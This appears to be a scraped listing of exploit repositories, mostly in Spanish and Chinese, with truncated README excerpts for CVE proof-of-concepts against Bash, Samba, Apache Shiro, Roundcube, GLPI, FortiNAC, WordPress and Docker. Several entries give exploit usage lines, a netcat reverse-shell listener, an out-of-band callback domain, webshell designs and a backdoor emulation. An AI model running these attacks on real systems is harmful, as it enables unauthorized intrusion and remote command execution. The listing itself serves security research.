CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock xpl0ited por infrar3d Este repositorio contiene un exploit de prueba de concepto para CVE-2014-6271 Shellshock. Shellshock es una vulnerabilidad crítica en GNU Bash donde variables de entorno especialmente diseñadas permiten la ejecución arbitraria de comandos. Cuando un...

CVE-2016-4437

CVE-2016-4437 用于利用CVE-2016-4437 Apache Shiro反序列化漏洞（由于硬编码加密密钥）的Python POC 使用示例： ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun 更多信息请参见注释和代码。...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 漏洞利用 这是一个用于利用 CVE-2007-2447 的 Python 脚本，该漏洞是 Samba 服务器中的“用户名”映射脚本命令执行漏洞。 描述 此漏洞利用程序针对 Samba 版本 3.x - 4.x。CVE-2007-2447 允许攻击者通过构造恶意的用户名和密码在易受攻击的 Samba 服务器上执行任意命令。 使用方法 1. 在你的攻击机上设置监听器，例如使用 Netcat：nc -nvlp 1234 2. 运行 Python 脚本并提供所需信息： 你的 IP（用于传递反向 shell） 受害者 IP 受害者端口 3. 脚本将构建反向...

cve-2019-15107

Python 使用方法 python cve-2019-15107.py -t https:// -c cmd...

CVE-2025-49132-PoC

CVE-2025-49132 PoC 作者：Pwndalf 概述 本仓库包含 CVE-2025-49132 的概念验证（PoC）利用代码，此漏洞是一个影响 Pterodactyl Panel -l -p...

CVE-2025-49113-PoC

CVE-2025-49113 Roundcube RCE PoC 🚀 Cómo ejecutar el proyecto 1. Iniciar el servidor vulnerable cd Stand docker-compose up -d 2. Ejecutar el script contra el objetivo cd PoC/src python3 scanner.py --target http://localhost:9000 --username test --password test --command "id" 📌 Requisitos...

CVE-2023-43208-PoC

CVE-2023-43208 - Ejecución Remota de Código RCE no autenticada en Mirth Connect Requisitos Python 3.11 o superior probado en 3.11, 3.12, 3.13 Configuración Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.tx...

dejavu

DejaVu Este contenedor ejecuta una aplicación web que analiza imágenes y devuelve sus metadatos usando exiftool. Los usuarios envían a la aplicación una URL de una imagen y la aplicación la recupera, la analiza y devuelve los resultados. La versión de exiftool utilizada por la aplicación es...

CVE-2023-4634-PoC

CVE-2023-4634 - Vulnerabilidad RCE en el plugin de WordPress Media Library Assistant 1. Construcción y puesta en marcha del entorno cd Stand docker-compose up --build -d 2. Espera a que los servicios estén listos 60 segundos sleep 60 curl -I http://localhost:8080 3. Ejecutar el escaneo de...

CVE-2026-5059-poc

¿Dónde está CVE-2026-5059 en el código? La vulnerabilidad está en dos archivos que trabajan juntos: Archivo 1: tools.py — La causa raíz La versión antigua usaba shell=True en executepipedcommand: python CÓDIGO VULNERABLE ANTIGUO process = subprocess.run command, ← cadena sin procesar pasada al...

CVE-2024-40445_CVE-2024-40446

Referencia de Vulnerabilidades de MimeTeX CVE-2024-40445 y CVE-2024-40446 Este repositorio sirve como referencia pública para los problemas de seguridad CVE-2024-40445 y CVE-2024-40446 que afectan a MimeTeX, un renderizador de LaTeX ligero y de código abierto escrito en C. ⚠️ MimeTeX parece no...

WP-CVE-2016-10033

WordPress -p 8000:80 前面的 8000 代表物理机的端口，可随意指定。 访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功 POC 假如目标地址为： http://127.0.0.1:8000/ 1. 把下面的HTTP报文复制到 BurpSuite Repeater 中，点击 Go 按钮，填写目标 IP 和 端口（例如, IP填 127.0.0.1 端口填 80） POST /wp-login.php?action=lostpassword HTTP/1.1 Host: targetany -froot@localhost...

CVE-2025-9074

Descripción Se creó mediante vibe coding un pequeño script de exploit en Bash puro, sin dependencias de herramientas que podrían no estar instaladas. El script se comunica con la API interna de Docker, crea e inicia un nuevo contenedor, monta la unidad C del host y luego ejecuta un comando dentro...

cve-2023-5044

CVE-2023-5044 Ingress Nginx 利用概念验证 这是一个快速利用 Ingress Nginx 控制器中最近 CVE 漏洞的 Go 程序。 关于如何利用此漏洞的详细信息已通过 Rory McCune 的博客发布在 https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/，此工具只是将过程自动化了一点，并整理了利用程序，使其成为一个更灵活、通用的远程代码执行负载。 安装 % go install github.com/4armed/cve-2023-5044@latest 测试集群...

RPC-Backdoor

Emulación de backdoor RPC Este proyecto es una implementación básica de un "backdoor RPC" diseñado para emular TTPs utilizados por ciertos grupos. El proyecto contiene un servidor RPC con cinco funciones: Ejecutar un comando con cmd.exe /c y la llamada a la API CreateProcess. Robar un token y...

CVE-2017-1000117

CVE-2017-1000117 恶意人员可以通过巧妙构造 “ssh://…” 链接，让受害人在执行程序等情况下访问该恶意链接，从而达到命令执行的目的。 该链接可以被放在 git项目的.gitmodules文件下，这样当受害人对一个项目进行git clone –recurse-submodules/git clone --recursive 操作时，就会引发安全问题。 预热： linux 命令行输入 printf 'a' /tmp/pwned.txt 发现在tmp目录创建了pwned.txt,内容为 a git init git remote add origin...

Exploit-CVE-2025-24801

CVE-2025-24801 此漏洞利用程序使用CVE-2025-24801通过本地文件包含（LFI）在GLPI 10.0.17上实现远程代码执行（RCE）。该CVE的概念验证（PoC）提供了对此GLPI漏洞的解释。 观察 某些应用暴露了/glpi/端点（例如，http://172.16.11.130:8080/glpi/front/computer.form.php）。如果目标应用包含此端点，则需要将其添加到--url参数中（例如，--url http://172.16.11.130:8080/glpi）。 用法 使用示例。 python3 cve-2025-24801.py --ur...

CVE-2014-6271

CVE-2014-6271 用法 go run CVE-2014-6271.go www.example.com 80 whoami...

CVE-2023-41892_poc

CVE-2023-41892poc 为个人使用定制此工具 pocnoauth.py 基础 PHP 一句话 webshell 通过 ?cmd= 执行 OS 命令 pocauth.py 添加了简单密钥认证的 webshell（SHA-256 哈希比对方式） 只有输入正确的密钥才能执行命令 需要修改代码： 将 droppayload 函数内部的 webshell 变量中的 YOURSECRETKEY 部分替换为所需密钥的 SHA-256 哈希值 使用方法： 1. 将 webshell 中的 YOURSECRETKEY 替换为明文密钥的 SHA-256 哈希值 2. 请求时传递明文密钥...

CVE-2022-39952-better

FortiNAC CVE-2022-39952 针对影响 Fortinet FortiNAC 的 CVE-2022-39952 的 PoC 该漏洞利用程序允许攻击者在 FortiNAC 服务器上执行任意命令。它基于 horizon3ai 开发的 PoC，并增加了针对多个目标进行攻击的选项。 免责声明：此漏洞利用程序仅供教育目的使用。请负责任地使用，并确保获得授权。 使用方法： usage: exploit.py -h -t TARGET -l LIST -lh LHOST -lp LPORT options: -h, --help 显示此帮助信息并退出 -t TARGET, --targ...